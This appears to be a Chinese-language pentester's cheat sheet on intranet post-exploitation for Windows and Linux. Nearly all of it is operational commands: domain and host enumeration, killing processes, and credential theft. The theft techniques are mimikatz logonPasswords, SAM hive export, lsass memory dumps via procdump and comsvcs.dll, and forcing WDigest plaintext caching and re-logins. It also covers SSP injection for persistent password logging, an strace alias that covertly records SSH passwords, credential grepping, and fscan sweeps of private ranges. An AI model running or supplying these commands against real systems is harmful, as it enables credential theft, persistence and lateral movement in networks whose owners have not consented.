信息收集
- date
- 2023-09-15 21:23:28
https://websec.readthedocs.io/zh/latest/intranet/linux/info.html
查看当前系统信息
查看网段
查看进程是否存在杀软
查看是否存在域
定位域控
翻翻文件是否存有密码
windows
基础信息
| # 系统信息
systeminfo
echo %PROCESSOR_ARCHITECTURE%
wmic OS get Caption,CSDVersion,OSArchitecture,Version
hostname
# 用户信息
whoami /user
whoami /all
# 网络信息
ipconfig /all
netstat -ano
route print
arp -a
# https://forum.ywhack.com/bountytips.php?process
# 查看进程
tasklist /svc
# 杀掉进程
taskkill /F /IM 进程名
taskkill /F /PID 进程ID
# 查看安装的软件
wmic product get name
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:list
# 查看用户信息
net user
net view
net localgroup administrators
net session
# 存活探测
for /l %i in (1,1,255) do @ping -w 2 -n 1 172.16.107.%i | findstr "TTL="
# 查看 wifi 列表
netsh wlan show profiles
# 查看指定 wifi 密码
netsh wlan show profiles wifi名 key=clear
# rdp
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"
query user
|
域信息
| # 查询当前登录域及登录用户信息
net config workstation
# 定位域控
net time /domain
net group "domain controllers" /domain
nslookup -qt=ns domain
# 查询域内用户
net group "domain users" /domain
net user /domain
# 查询域管理员
net localgroup administrators /domain
# 查询指定域用户信息
net user test /domain
# 查询域用户详细信息
wmic useraccount get /all
# 查询有几个域
net view /domain
# 查询域内主机
net group "domain computers" /domain
# 查询域内的全局组和通用组
net group /domain
# 查找指定组含有哪些用户
net group "domain admins" /domain
# 查看域管理员,该组内的成员对域控拥有完全控制权
net group "domain admins" /domain
# 查看企业管理组,该组内的成员对域控拥有完全控制权
net group "enterprise admins" /domain
# 查看用户 SID 和域 SID
# 如用户的 SID 是: S-1-5-21-2189311154-2766837956-1982445477-520 则域 SID 则是去掉最后的 520
whoami /user
|
抓密码
基础知识
本地认证流程:
- winlogon.exe:Windows Logon Process 用户登录程序
- 用户输入账号密码
- lsass.exe:用于微软 Windows 系统的安全机制,用于本地安全和登陆策略
- 转换为 NTLM Hash 和 SAM 文件中的值相比
所以抓密码就主要是在 lsass.exe 进程内存和 SAM 文件这两个地方获取,SAM 文件中只有 Hash,不过 Hash 可以尝试去在线网站解密,lsass.exe 内存是有可能获取明文密码的,不过当系统为 win10 或 2012R2 以上时,系统默认禁止在内存缓存中保存明文密码。
抓密码有在线和离线两种形式,在线就是直接使用 mimikatz 抓取,离线就是先保存 SAM 文件或者 lsass 内存转储文件,然后在下载到本地,在本地上面的 mimikatz 读取离线文件。都有利有弊,在线要考虑免杀问题,离线会出现文件过大或者传输问题。
mimikatz
| # 直接上传 mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full" exit
# 提升权限
privilege::debug
# 抓取密码
sekurlsa::logonPasswords
# cobaltstrike
hashdump
logonpasswords
mimikatz sekurlsa::logonpasswords
# msf
load kiwi
creds_all
lsa_dump_sam
kiwi_cmd sekurlsa::logonpasswords
# ms cs hash 形式
用户名:用户SID:LM Hash:NTLM Hash:::
|
SAM
| # 注册表保存
reg save hklm\sam sam.hive
reg save hklm\system system.hive
# mimikatz 离线读取
mimikatz.exe "privilege::debug" "lsadump::sam /system:system.hive /sam:sam.hive" exit
|
lsass.exe
| # procdump 微软的工具
# https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# rundll32 - 测试了几次都被没了
tasklist | findstr lsass.exe
powershell rundll32 C:\windows\system32\comsvcs.dll, MiniDump PID C:\lsass.dmp full
# 任务管理器找到 lsass.exe 进程, 右键"创建内存转储文件"
# mimikatz 离线读取
mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
|
抓取明文密码
一般来说横向移动直接用 Hash 就行了,远程登录也可以直接创建账户去登录,不是非得去获取明文。
要获取明文密码的话一般有两种形式:
- 修改注册表开启允许在内存中保存密码,然后锁屏让对方重新登录,这个时候内存中就存储了明文密码,然后就可以通过 lsass.exe 抓取到明文密码
- SSP 内存注入
第一种方式需要对方当前正在登录,然后我们开启密码内存记录,锁屏后让对方重新登录,以获取明文密码。
| # 允许保存明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 禁止保存明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
# 查询登录用户
query user
# 注销用户
logoff ID
# 直接锁屏
powershell rundll32.exe user32.dll,LockWorkStation
|
第二种方式算是一种权限维持的手段,可以把用户登录的明文密码记录到一个文件中。
也是有 2 种方式:
- 通过 mimikatz 进行 SSP 内存注入:内存注入重启就没,但是锁屏就可以生效
- 注册表添加 SSP :修改注册表,永久有效,但是需要重启机器后生效
| # mimikatz - 慎用,本地复现注入后重新登录不上...
mimikatz.exe "privilege::debug" "misc::memssp" exit
type C:\Windows\System32\mimilsa.log
# 注册表添加
# 1. 把 Mimikatz 中的 mimilib.dll 文件复制到 C:\Windows\System32 目录下
# 2. 修改注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f
# 3. 重启
shutdown /r /t 0
# 4. 查看密码
type C:\Windows\System32\kiwissp.log
|
RDP凭据
| # 查看 RDP 连接
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
cmdkey /list
|
linux
网络信息
历史命令 .bash_history
进程信息
web 目录 /var/www/html
数据库
家目录
寻找密码、配置文件
| # 网络信息
ifconfig -a
ip addr show
route
ip route show
arp -a
cat /etc/resolv.conf
netstat -an
netstat -anltp | grep $PID
iptables -L
# 设备信息
uname -a
cat /etc/*-release
cat /etc/issue
hostname
# 用户 查看用户家目录
cat /etc/passwd
cat /etc/group
cat /etc/shadow
w # 当前登录
sudo -l
# 公钥信息
~/.ssh
/etc/ssh
# 环境信息
env
# 历史信息
history
cat ~/.bash_history
# 进程信息
ps aux
ps ef
# 资源占有情况
top -c
# 查看进程关联文件
lsof -c $PID
# 完整命令行信息
cat /proc/$PID/cmdline
# 进程的命令名
cat /proc/$PID/comm
# 进程的环境变量
cat /proc/$PID/environ
# 进程打开文件的情况
cat /proc/$PID/fd
# 计划任务
crontab -l
# 记录账号密码
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# 配置、密码收集 config 文件目录、.env 文件 ...
find /home/nhapps/ -type f|xargs egrep -s -i "*user:|*user=|username:|username=|*pass:|*pass=|password:|password=|passwd:|passwd=|SYS|AUDSYS|SYSTEM" --color > password.txt
#查找所有带user和pass的txt
find / -type f -name "user*.txt" -or -name "pass*.txt" 2> /dev/null
#查找所有文件中的账号密码
grep -r -i -E "user:|user=|username:|username=|pass:|pass=|password:|password=|passwd:|passwd=|账号:|账号:|用户名:|用户名:|密码:|密码:" /var/www/html/sso --color
|
内网扫描
内网扫描:
- 网段存活
- 服务 => 弱口令、17010
-
WEB
- 设备类:弱口令,历史漏洞
- 通用系统、组件:历史漏洞
- 自己的网站:扫目录,扫漏洞
-
https://github.com/u21h2/nacs 学习源码,然后做修改或者其他的,感觉结构比 fscan 好一些
| fscan -h 10.0.0.0/8 -m icmp
fscan -h 172.16.0.0/12 -m icmp
fscan -h 192.168.0.0/16 -m icmp
fscan -h 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 -hn 192.168.140.1/24 -m icmp
fscan -h 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 o all_res.txt
nohup fscan -h 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 o all_res.txt &
|